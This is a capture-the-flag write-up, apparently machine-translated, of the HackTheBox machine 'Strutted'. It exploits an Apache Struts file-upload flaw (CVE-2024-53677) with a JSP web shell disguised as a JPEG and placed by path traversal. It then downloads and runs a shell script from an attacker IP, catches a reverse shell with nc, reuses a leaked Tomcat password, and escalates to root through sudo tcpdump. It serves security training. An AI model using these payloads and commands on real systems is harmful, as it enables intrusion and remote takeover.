This is a writeup of HackTheBox “Strutted”.
User Flag
Perform a port scan.
$ nmap -Pn -sCV -A -T4 -p- 10.10.11.59 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
You now know the operational status of the port.
port | service | version |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
Now that I know the domain, I will add it./etc/hosts
10.10.11.59 strutted.htb
http://strutted.htb/
Go to.

I was able to download the source code of the website from the top right.Download
pom.xml
It turns out that it is used as a framework.Apache struts 6.3.0.1
strutted/pom.xml
(省略)
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
apache struts cve 2024
I found an RCE vulnerability.CVE-2024-53677
The vulnerability appears to allow arbitrary files to be uploaded to arbitrary directories via path traversal.
As a result, it seems that it can be connected to RCE by uploading a malicious JSP file.
When I checked the code for the file upload function、,, I found that file extensions are allowed.jpeg
png
gif
/strutted/src/main/java/org/strutted/htb/Upload.java
private boolean isAllowedContentType(String contentType) {
String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
for (String allowedType : allowedTypes) {
if (allowedType.equalsIgnoreCase(contentType)) {
return true;
}
}
return false;
}
Look at the process of determining the extension.
Upload limit is based on the magic number of the file.
/strutted/src/main/java/org/strutted/htb/Upload.java
private boolean isImageByMagicBytes(File file) {
byte[] header = new byte[8];
try (InputStream in = new FileInputStream(file)) {
int bytesRead = in.read(header, 0, 8);
if (bytesRead < 8) {
return false;
}
// JPEG
if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
return true;
}
// PNG
if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
return true;
}
// GIF (GIF87a or GIF89a)
if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
return true;
}
I created a test jpeg file with a magic number and successfully uploaded the file.
$ print '\xFF\xD8\xFF' > test.jpeg
┌──(kali㉿kali)-[~/Strutted]
└─$ echo 'hello' >> test.jpeg

Looking at various PoCs, it seems that JSP code can be inserted after the magic number.
The JSP shellcode used the following.
An excerpt of the Body of the POST request is as follows.
(省略)
-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="Upload"; filename="test.jpeg"
Content-Type: image/jpeg
ÿØÿ
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
(省略)
%>
-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="top.UploadFileName"
../../revshell.jsp
-----------------------------270809347519694441851360887477--
It should be noted that do not add and in the middle boundary.
If you attach this, path traversal will fail.name="Upload"
name="top.UploadFileName"
--
If the upload is successful, you can see from the response that the file was uploaded to .uploads/20250408_144513/../../revshell.jsp

revshell.jsp?action=cmd&cmd=ls
RCE is successful when you send a request like this.

Execute the following commands in order to create a reverse shell.
cmd=curl http://10.10.14.136:8000/shell.sh -o /tmp/shell.sh
chmod +x /tmp/shell.sh
bash /tmp/shell.sh
I was able to get the shell of tomcat.
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.59] 56452
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat
Set the TTY.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
If you look at the Tomcat account authentication file, you will see a password string.tomcat-users.xml
/etc/tomcat9/tomcat-users.xml
(省略)
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
(省略)
SSH connection was successful with the obtained password.
$ ssh james@strutted.htb
/home/james/user.txt
I was able to get the user flag from.
$ cat user.txt
129b84a2a8e0925db69c37fe9c51ae0b
Root Flag
sudo -l
Check with the settings./usr/sbin/tcpdump
$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
I found privilege escalation in GTFOBins.
I was able to do it as described and set SUID in bash.
-bash-5.1$ COMMAND='chmod u+s /bin/bash'
-bash-5.1$ TF=$(mktemp)
-bash-5.1$ echo "$COMMAND" > $TF
-bash-5.1$ chmod +x $TF
-bash-5.1$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
-bash-5.1$ whoami
james
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
I was able to elevate to root privileges using bash’s SUID.
-bash-5.1$ /bin/bash -p
bash-5.1# whoami
root
/root/root.txt
I was able to get the root flag from.
bash-5.1# cat /root/root.txt
39fb83665a3ce29520d7807a9363bad5